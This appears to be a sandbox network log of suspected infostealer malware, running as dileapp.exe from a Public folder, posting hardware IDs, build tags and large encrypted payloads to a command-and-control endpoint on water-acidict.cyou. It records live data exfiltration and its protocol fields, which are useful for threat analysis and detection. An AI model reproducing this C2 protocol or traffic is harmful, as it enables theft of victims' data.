2024-11-29 22:10:22 UTC	1022	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:10:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6m5bh2gimva0kprlg7tfr59h03; expires=Tue, 25-Mar-2025 15:57:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pd2SaVMnuYU8slpcI%2B6wjF96VbUsdtlyw062xBOLtaap6H2ORDtwCSnr9hqv7y%2FrEvmgX083tXprSVe4HRXrGidzLrzY1%2Fqh%2BNv3BrUh5V735m3hNDnstq%2BufpvFpnjkPg%2Bkbyg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea5ed662b833350-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1998&min_rtt=1994&rtt_var=757&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2151&delivery_rate=1437715&cwnd=173&unsent_bytes=0&cid=1ddef182a3da8007&ts=732&x=0"
2024-11-29 22:10:22 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49759	172.67.156.217	443	7568	C:\Users\Public\Netstat\dileapp.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:22 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7O7ELFMD4GMH0W3O User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18356 Host: water-acidict.cyou
2024-11-29 22:10:22 UTC	15331	OUT	Data Raw: 2d 2d 37 4f 37 45 4c 46 4d 44 34 47 4d 48 30 57 33 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 45 44 38 44 42 30 36 34 37 33 39 45 33 36 32 37 32 34 45 39 32 36 43 45 34 39 35 44 39 46 0d 0a 2d 2d 37 4f 37 45 4c 46 4d 44 34 47 4d 48 30 57 33 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 37 4f 37 45 4c 46 4d 44 34 47 4d 48 30 57 33 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 62 61 6e 64 6c 0d 0a 2d 2d 37 4f Data Ascii: --7O7ELFMD4GMH0W3OContent-Disposition: form-data; name="hwid"97ED8DB064739E362724E926CE495D9F--7O7ELFMD4GMH0W3OContent-Disposition: form-data; name="pid"2--7O7ELFMD4GMH0W3OContent-Disposition: form-data; name="lid"c2CoW0--bandl--7O
2024-11-29 22:10:22 UTC	3025	OUT	Data Raw: 23 1b 14 95 d8 67 39 b2 fd cb d1 0e 65 9d 61 cd b4 aa aa a1 ff 06 ed 3a bc 4a 3a 3b e2 f5 e9 8b 6e 77 18 74 82 a0 b0 d1 ae 4e 72 af 6c 03 bb ef c0 70 76 68 70 6f b8 ab e0 81 89 d2 ce 70 34 95 3f d4 6e 77 97 74 7a df db 4a ab d9 3a a6 45 b3 54 7c 31 23 5d 55 db 3f 35 ab 59 2f 56 9a f4 45 bb 41 ec 02 5f 8c 47 52 99 43 fc b6 3f 53 d6 79 f9 f3 1a 0e ca ab 93 c8 9f 85 77 5e 16 97 be 18 eb 3d 73 d9 32 ab fe 33 c7 83 ce dc 49 e4 3f b3 1b ea ee a4 d7 a3 91 94 7c 88 af f8 cf ec 5e 94 ce 7e 2c e8 c4 3b 69 fc e7 a5 81 e9 5a 24 9a ba e3 0e 7a b3 b9 ed c8 7b 0f b6 d9 b0 b4 ae ef a3 5d ed c6 1f d3 ef f1 ea c5 f6 b4 94 f4 27 ee 0d 47 53 87 0e f1 bf 6d 76 32 b4 bd 6d a4 37 13 bb cf e9 a5 fc 85 8d f5 95 35 7a c0 7d 85 b5 0d 77 54 d1 d3 26 3b d7 a3 37 ae 53 a3 ed b8 29 da Data Ascii: #g9ea:J:;nwtNrlpvhpop4?nwtzJ:ET\|1#]U?5Y/VEA_GRC?Syw^=s23I?\|^~,;iZ$z{]'GSmv2m75z}wT&;7S)
2024-11-29 22:10:23 UTC	1021	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:10:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ukca50kjof1k98jccfscffa0pp; expires=Tue, 25-Mar-2025 15:57:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6EdujJ43PWeFIQvw%2B6%2FQXBTZBJqwJSPeCilVlcL3CngZ3a54ebGBQB9xxHn7jJBggxpQ4S%2BWthWou047GTJZ4ZWK%2B3tUum7AaSeZTvfapynn5wyGbXaqM4dqx3wbAPIY0PMx3mA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea5ed6e2ee7c331-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1824&min_rtt=1717&rtt_var=720&sent=13&recv=21&lost=0&retrans=0&sent_bytes=2844&recv_bytes=19318&delivery_rate=1700640&cwnd=74&unsent_bytes=0&cid=eed05278dca39b1a&ts=1103&x=0"
2024-11-29 22:10:23 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-29 22:10:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49760	172.67.156.217	443	7984	C:\Users\Public\Netstat\dileapp.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:24 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=A4G2E3A0678O4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 305412 Host: water-acidict.cyou
2024-11-29 22:10:24 UTC	15331	OUT	Data Raw: 2d 2d 41 34 47 32 45 33 41 30 36 37 38 4f 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 45 44 38 44 42 30 36 34 37 33 39 45 33 36 32 37 32 34 45 39 32 36 43 45 34 39 35 44 39 46 0d 0a 2d 2d 41 34 47 32 45 33 41 30 36 37 38 4f 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 41 34 47 32 45 33 41 30 36 37 38 4f 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 62 61 6e 64 6c 0d 0a 2d 2d 41 34 47 32 45 33 41 30 36 37 38 Data Ascii: --A4G2E3A0678O4Content-Disposition: form-data; name="hwid"97ED8DB064739E362724E926CE495D9F--A4G2E3A0678O4Content-Disposition: form-data; name="pid"1--A4G2E3A0678O4Content-Disposition: form-data; name="lid"c2CoW0--bandl--A4G2E3A0678
2024-11-29 22:10:24 UTC	15331	OUT	Data Raw: 92 62 39 99 4d 76 6e 86 44 9d 11 d3 1c 49 03 6b 6c 5e 7b 44 20 ca cc 24 86 22 7d 2c 87 3f 18 c9 48 35 0e 7f d7 1e 49 2b ba dc 90 e9 0e ee 31 1f e3 a5 cc 35 b1 52 56 fd 01 b5 53 20 84 1d 1c 01 47 20 34 10 87 1e 53 45 00 e2 4d 98 5c 33 49 43 11 3f 57 ad 49 fd e9 f6 dc 61 2b e8 b2 15 e9 3e 34 b7 89 b7 b5 ce 2f 88 d4 f6 ed 3d c7 d4 c3 95 b6 8e b8 d7 bf 28 8c d3 7a 3e ff 54 f3 69 0c 4f 8a 01 77 b1 be 6b a7 60 db e5 74 1d 11 e3 cd a9 dc 9f a9 3e 1a 10 4e 0c b3 d0 5e 91 1e 3b 6e ad e1 eb 0d 26 77 d9 d6 e6 00 bc 5d 52 a9 bb 71 a7 a8 62 41 0f dc 15 84 cd 27 c0 d1 e0 1e b8 0d 43 a1 8b c5 21 8d 0f dd 83 60 65 f0 43 bb f6 f4 61 16 c7 96 8a 90 8f 08 c3 96 b4 50 f5 69 63 66 ba 81 cb 4f 04 b1 0d d5 f9 cd 57 a1 d7 bb a3 ba fb c3 4f 01 09 e2 90 02 4b 8e 59 8e b3 59 e5 d1 Data Ascii: b9MvnDIkl^{D $"},?H5I+15RVS G 4SEM\3IC?WIa+>4/=(z>TiOwk`t>N^;n&w]RqbA'C!`eCaPicfOWOKYY
2024-11-29 22:10:24 UTC	15331	OUT	Data Raw: 59 7b 14 7a 95 26 02 28 18 2d 35 c0 f4 1c 91 b6 38 c0 c8 ba 93 15 76 13 f9 51 66 5a 37 5a 43 1d 8f 07 59 ea 98 ed 73 c8 ac 9e 5c fb 20 8c a5 55 30 3d 68 ce 40 6f e8 0d 81 4b 0f 40 9f 4e 2e b8 1f 71 52 e6 3e df c6 55 34 75 94 d9 7f 6f 96 61 62 98 5d 50 c6 21 40 22 bd 6e 97 01 f7 cd 63 36 07 06 77 01 09 4e a0 68 a6 e6 c8 81 1e 6b ab bc b2 be 6a 5b c3 bd 99 bf f3 02 84 e5 cd 13 97 f4 fd 0d 53 5c 68 2a 4a 6c ea 6d b0 4c 17 d4 98 90 bf 86 c8 b0 97 72 17 1c 77 53 35 a6 50 fa f1 27 37 49 f8 3e b0 dc 41 f9 ad 36 a4 04 13 50 c5 72 5c e2 2e 1f 74 5b c5 6f e5 5f b3 97 cd 8e bb dc ab ac 62 e5 b9 79 f0 47 02 18 84 60 9a d5 d7 ae 45 ac b3 9f 00 77 de b2 a0 88 38 2d 0e c3 35 5f 3f ca d7 c4 d6 3b da 42 29 ea cb af 2f f7 3e 96 c2 07 1d 0d 8d f4 9f 39 74 67 70 ea 38 a6 7c Data Ascii: Y{z&(-58vQfZ7ZCYs\ U0=h@oK@N.qR>U4uoab]P!@"nc6wNhkj[S\h*JlmLrwS5P'7I>A6Pr\.t[o_byG`Ew8-5_?;B)/>9tgp8\|
2024-11-29 22:10:24 UTC	15331	OUT	Data Raw: 82 ae 78 74 93 18 dd 18 ec c7 cc 0b 15 c8 7b ca ab 6c c4 2d 61 8e 22 6d 8c 83 79 e4 55 86 6b a7 a2 56 d8 35 0c 48 5f bd ec 78 68 ec 8e fe 23 57 b0 34 fe ca 29 9d 90 5c ae d8 91 d8 e0 8b 6c 3a ab da 4c 49 11 36 29 5b 6d 27 1c 32 c9 4f f4 79 a5 05 3b b2 f7 17 94 b8 b1 75 89 c5 f9 ed a2 9f 98 9a ef 8e 5e d4 60 be 5a 49 e7 f2 20 b6 39 86 b9 f3 ee fd 67 cb a5 6f 89 99 64 01 01 8e db bf 79 ed 58 50 ff 9c d1 6f 93 ae 65 00 79 7b 59 5b 05 58 87 d8 39 51 b9 fd 19 11 b4 65 6b 7a 7b 91 61 b6 a5 5f 87 e2 bd f4 f6 ba 85 a2 52 15 c9 ed ee b8 dc 2d dc d5 76 f3 14 62 18 39 13 78 9d 89 9b e4 88 42 c7 79 c3 fc 24 37 ec 26 dc 38 03 2b 21 bf 2f a0 e2 fd df f5 63 8e ad 3a de ec 45 5d b4 78 e9 14 13 f3 86 b4 a6 58 d2 a5 a1 a9 db 29 84 d5 3f 57 a6 73 9d 3e 7d 8b a6 00 dd 5d e3 Data Ascii: xt{l-a"myUkV5H_xh#W4)\l:LI6)[m'2Oy;u^`ZI 9godyXPoey{Y[X9Qekz{a_R-vb9xBy$7&8+!/c:E]xX)?Ws>}]
2024-11-29 22:10:24 UTC	15331	OUT	Data Raw: ff 7d ad 91 41 0d 08 0e 5e fd 02 ad 6c a4 4d a3 1f 3f 2f a7 67 96 b3 39 fc 84 56 e2 49 4b 30 7c c7 9b 7a bd 87 03 59 d6 e8 ef a8 92 a5 2b 9c 37 57 b0 37 18 7c 25 81 7c 95 01 e5 f6 22 e1 f0 26 73 a5 93 e7 05 ef 31 fe d2 35 b3 8f b9 d6 51 86 bf 15 a4 f8 02 20 cb 42 5a a1 e7 2f 21 ac 4a 0e 25 b7 6d 36 ab b6 2f 80 3e 05 3a 7b 58 9a 9d fc 2c 3d 58 f9 c8 a0 9b 12 b0 62 13 4d 9a 61 9b ca 69 4d ea 03 da 85 57 b5 58 38 04 4f 24 ea 8a 8c 09 96 76 b7 48 32 82 6b dd 26 db f5 93 09 f2 ad 9d ce af 48 ad 09 25 3b e3 26 c9 43 49 3a 11 9a 1d e5 85 1a a0 c8 6d 30 ad af 50 ba 26 7f d1 c0 5e bf 9f 37 5e 8b 6b 5c aa 74 13 0c 57 cb 4e 5a dc 0f e6 1b 1d 96 53 5a 9e 73 c2 bb 34 b8 c3 a4 19 83 1e 91 b6 ab 37 fe 3d 37 02 12 8a 89 20 2f d0 f9 c1 7d 57 db b6 fb 9e 1b fa 72 b9 0f 93 Data Ascii: }A^lM?/g9VIK0\|zY+7W7\|%\|"&s15Q BZ/!J%m6/>:{X,=XbMaiMWX8O$vH2k&H%;&CI:m0P&^7^k\tWNZSZs47=7 /}Wr
2024-11-29 22:10:24 UTC	15331	OUT	Data Raw: 0b 5a 69 f8 fb 13 3d 4e 50 38 f1 4d ab ea 25 81 78 bd 19 33 ac a0 dc 6f b5 b4 0e 02 b9 ee 04 07 e1 cd e4 de df 97 3b a3 6b 17 df 38 1f 7c 79 b9 13 f7 e1 e5 65 cd fb b9 ff 74 58 83 e3 02 a8 a3 8e d0 08 d0 bb c3 66 12 70 94 0f 4f 49 b4 2b d2 ae cd 32 90 69 c9 ca 1e a2 23 93 55 12 d3 6c c8 f6 84 01 c0 9a d8 f0 e4 05 02 ed d3 60 2b 2e 58 ee da eb 95 1e 66 7a 43 2b 91 6a e6 d5 f4 d1 f5 73 d6 64 bc e7 c3 d6 3d b3 d9 ec f5 28 18 aa 5d b8 50 68 4e 68 5e 78 55 6b dd 72 df 92 7e 46 88 a8 b8 a8 f0 e6 64 37 26 23 d4 74 d3 3c da d9 04 66 85 02 87 7c 77 bf ec db e0 c6 84 e8 92 dd ef fe 64 ea 6c e3 db 0b f2 2d 87 04 01 a9 df 24 49 69 20 65 d7 9a ac 2f 09 52 1d 36 fd 44 98 9f 4c 60 c3 c5 40 47 84 d5 5b cb df 96 6f 2d 01 d1 bf 9d 3e 57 84 1e 13 e9 a4 0f 9f 58 05 5b ee 7d Data Ascii: Zi=NP8M%x3o;k8\|yetXfpOI+2i#Ul`+.XfzC+jsd=(]PhNh^xUkr~Fd7&#t<f\|wdl-$Ii e/R6DL`@G[o->WX[}
2024-11-29 22:10:24 UTC	15331	OUT	Data Raw: 8e 9d 6f ea 75 30 64 d6 e5 95 94 da ca ed df a6 27 29 7a b5 d5 13 25 9c 04 d5 fd cb 02 8d 0f 68 2c 9e 52 5b 19 93 0f 01 96 4e 82 4f c5 f5 0d 86 1e ec 3b 64 a1 fa cd 47 c1 cf a5 29 16 fd e0 30 8c 90 79 43 e7 03 a8 42 62 c4 da 0f 1c c8 7f 3c 4c 30 f1 f2 3d a2 9e e4 31 6e be 96 b2 c3 d3 fb ae 46 66 da ae c3 c4 63 43 e9 11 fc bb 7f a6 7d 35 8a 3c 22 77 ee 6d b2 e7 d5 14 fa 25 25 57 cc fc 35 21 a4 37 bd e5 59 0e b0 e8 a7 e4 f4 b1 c3 84 27 3d dc b7 79 a5 9a 35 b4 a3 d2 27 6d 32 2f ca fc f6 7e 74 22 80 51 79 a1 d0 30 bb e8 f2 2c 6b cf 79 e5 16 06 11 bb b9 b5 8c 27 bb 0f e7 ac 19 b3 1f bf d3 2d 14 82 39 c7 35 bf 2a 68 5c 0d ab c8 0a bc 7f 29 88 97 09 13 c2 6a 33 17 ad 06 b4 45 09 af 6e f8 9d 63 e4 33 f5 9d fb 43 5e eb af b4 2d df 70 cb 8c e1 0c 40 ec c9 d8 7e b8 Data Ascii: ou0d')z%h,R[NO;dG)0yCBb<L0=1nFfcC}5<"wm%%W5!7Y'=y5'm2/~t"Qy0,ky'-95*h\)j3Enc3C^-p@~
2024-11-29 22:10:24 UTC	15331	OUT	Data Raw: ec f4 c5 01 f3 16 03 6f 3b 96 fc ae 26 62 e1 31 65 e7 05 ef 60 e0 8a 98 fc 57 2b 8a c2 8d 5c de 08 be 43 b8 cb 09 f9 5d c8 4d 28 b2 d5 7c 10 2f 4d 9b 7b 02 2c c5 e8 e1 6e c3 1f 50 ac 21 8b 0e 91 57 ce 82 7e 46 ca f6 20 47 72 c4 3b a8 d7 4b 29 70 9b c9 dc 20 ba 7c 07 6d 57 e0 26 73 65 e2 fe 03 31 e2 f4 a2 97 03 70 53 4c de 2d 97 27 dc e0 40 4e 4c 0d 22 77 df 78 4e d8 8a 20 7b 6c ef 01 2f 21 39 3c da a5 02 bf 0d 9b 9a 4d d2 90 80 7a ff 7a 7f 7b 7b 84 b9 39 5f ee 91 f3 ad ff 19 7f 2f aa f4 c3 df cd da 1b 33 df b9 ae 6c 6a 32 d7 3d e3 ba 00 38 b5 0d 2c ec f3 3c ac f0 2a da 7b 70 af 07 1c 76 f0 6b bc bd 75 49 82 c7 45 a9 1a 39 fb ca aa b6 2c c6 48 69 c7 2a f7 b2 81 f2 1f 89 2c 16 19 a7 ce d6 3f c7 95 44 73 ea 5e 3e 73 47 05 27 9c 52 7b c6 e5 d8 2f 22 2a ef d4 Data Ascii: o;&b1e`W+\C]M(\|/M{,nP!W~F Gr;K)p \|mW&se1pSL-'@NL"wxN {l/!9<Mzz{{9_/3lj2=8,<{pvkuIE9,Hi,?Ds^>sG'R{/"*
2024-11-29 22:10:24 UTC	15331	OUT	Data Raw: d1 13 6c 41 57 87 10 26 13 98 df 64 72 f5 b1 5b 2d 5e 72 54 5d 2b fe 94 4f bf 48 25 12 d8 68 30 f9 ca e9 52 05 46 cf e5 5c f8 db 60 67 21 da 3e f6 86 ab 5c 10 b1 39 92 00 09 68 32 51 90 f2 f6 87 ea 74 bd 61 43 92 fa 6c 66 d8 1e 45 92 bd 78 38 eb d1 05 09 ea 8e 8c 67 f6 95 fa f2 b1 17 46 0f 9c 53 60 d2 0f 64 87 be bf cf 03 73 5d 0d 43 1f c5 fc b5 6d 0d 67 82 00 1c 6b 9f 0a 10 ef 5a 71 a1 ee d5 83 eb 99 6f 67 ea f2 63 72 0b 60 d2 19 74 fb 7d d5 73 5f 3b 0b 3d 0f 5f 36 0f 5f 4f 33 86 11 e7 4d c6 5d f4 08 30 6c 0f 3f 58 d7 f9 80 70 f6 f8 7e fe a7 4f 3e 6d 1e d0 9f e2 57 9b 99 79 6d cd 32 eb ad e3 4e 8d f8 52 ef 84 48 bb 58 23 65 fb b2 8d a8 23 aa 3a ad b6 60 ec 79 5a 7f fb 93 a3 77 aa df 9a 05 01 97 54 64 f3 14 b2 27 da 5b 87 aa fd ca b9 44 c6 4b db fa 0d 9d Data Ascii: lAW&dr[-^rT]+OH%h0RF\`g!>\9h2QtaClfEx8gFS`ds]CmgkZqogcr`t}s_;=_6_O3M]0l?Xp~O>mWym2NRHX#e#:`yZwTd'[DK
2024-11-29 22:10:24 UTC	15331	OUT	Data Raw: 5e 55 ae 5d 99 de 96 ce 6c 74 ef 18 69 ca 4d e4 f6 98 cb d8 d3 31 34 64 3e 78 e6 a8 32 33 f3 e1 17 e3 25 1e 31 25 9a ee cb 3c 55 86 c3 7c c4 b2 bb 64 84 27 2d 46 9b f7 11 7f 7b bf 7a ae b6 6e 7d 3c 3f 23 dc f3 a8 69 b6 cc ea 97 e3 bf a7 9d f5 cd e0 e0 7c d3 d1 27 57 06 fc 6a 3b b7 e6 21 ec e1 ab c0 0e df f3 ee 1e c3 04 12 e9 29 85 5e 93 c4 03 85 e1 4a 4b 7a eb 4b 22 da 86 5b 22 22 e1 c8 de 76 98 54 cb b7 d8 2d ee c2 30 5a 2b 88 91 13 bb 30 8d c5 ec be 82 c9 87 98 d5 14 43 f5 04 3d 55 5b a2 02 7d 72 68 a2 5d 98 ac 22 56 a6 73 9e 48 f8 73 d0 a6 e1 b3 83 2e 2b 7e 8f 47 1b cc 2f 19 f3 40 43 de bc ff 14 40 36 8d f7 e4 7f 45 37 8e 5e 53 ee 57 df 0c 6c c5 56 4f db 77 1a 02 41 8c 88 c6 9c 2f 91 c4 e9 ec 4e 6c 55 77 76 40 d9 a6 bd 00 26 6c ac 95 b0 9e 06 dc 41 34 Data Ascii: ^U]ltiM14d>x23%1%<U\|d'-F{zn}<?#i\|'Wj;!)^JKzK"[""vT-0Z+0C=U[}rh]"VsHs.+~G/@C@6E7^SWlVOwA/NlUwv@&lA4
2024-11-29 22:10:26 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:10:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pablmqhmh8e907drugkktsb37d; expires=Tue, 25-Mar-2025 15:57:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UrtTY9q7IllkDMBEbxDfrShWgM7NAYwfieLlGmd7MiFjWdfWKTB2KcrSTwqYIk0XkMTmAo3w0YU2zr1auuluk3CmSTsttqbTxHRNQld2RHZBd6ljurtCDy7jNbdK7J9KEbvufpg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea5ed759a46c35e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1615&min_rtt=1615&rtt_var=807&sent=114&recv=323&lost=0&retrans=1&sent_bytes=4230&recv_bytes=307186&delivery_rate=160518&cwnd=59&unsent_bytes=0&cid=e590ecbcff20485b&ts=2074&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49762	172.67.156.217	443	7568	C:\Users\Public\Netstat\dileapp.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:25 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=D6TA5K3NY9GB10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8760 Host: water-acidict.cyou
2024-11-29 22:10:25 UTC	8760	OUT	Data Raw: 2d 2d 44 36 54 41 35 4b 33 4e 59 39 47 42 31 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 45 44 38 44 42 30 36 34 37 33 39 45 33 36 32 37 32 34 45 39 32 36 43 45 34 39 35 44 39 46 0d 0a 2d 2d 44 36 54 41 35 4b 33 4e 59 39 47 42 31 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 44 36 54 41 35 4b 33 4e 59 39 47 42 31 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 62 61 6e 64 6c 0d 0a 2d 2d 44 36 54 41 35 4b 33 4e Data Ascii: --D6TA5K3NY9GB10Content-Disposition: form-data; name="hwid"97ED8DB064739E362724E926CE495D9F--D6TA5K3NY9GB10Content-Disposition: form-data; name="pid"2--D6TA5K3NY9GB10Content-Disposition: form-data; name="lid"c2CoW0--bandl--D6TA5K3N
2024-11-29 22:10:26 UTC	1024	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:10:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q9mqsm1krusn03sh21elu48rhu; expires=Tue, 25-Mar-2025 15:57:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NY%2FyNn4pij6D88sO27xQJz8Z5hZz9RSvWSkRrRaq%2FFWI26wCfOSGZoc2IFTIEqYcAmGv%2FiH0BoEfmjLutAHeGcJc34eZ4cagmljkM%2FeWFjO8NFsnRuY0uk%2BtOsJoixmNkfDV%2FsI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea5ed7dcf700f83-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1680&min_rtt=1664&rtt_var=636&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2844&recv_bytes=9697&delivery_rate=1754807&cwnd=223&unsent_bytes=0&cid=b333488df87c1b04&ts=1130&x=0"
2024-11-29 22:10:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-29 22:10:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49763	172.67.156.217	443	5448	C:\Users\Public\Netstat\dileapp.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:25 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: water-acidict.cyou
2024-11-29 22:10:25 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-29 22:10:26 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:10:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gkfjjn6vb88so1iefii1jqn5ag; expires=Tue, 25-Mar-2025 15:57:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ox7nrjLuEip8uMXk%2F%2BccfhTPpObe28tZWHDkOfREjjM9sqjJ6lZBYLFYThooCcGeMs0KEsDBQgzoBp3tNS98DbuI0iy%2FGzTHqs7mhyMWpTNKAUJStVvAvPseO00ot3pjUjTvye8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea5ed81dc4f0fa9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1596&min_rtt=1590&rtt_var=608&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=1780487&cwnd=252&unsent_bytes=0&cid=a82e9e2baf3f8671&ts=882&x=0"
2024-11-29 22:10:26 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-29 22:10:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
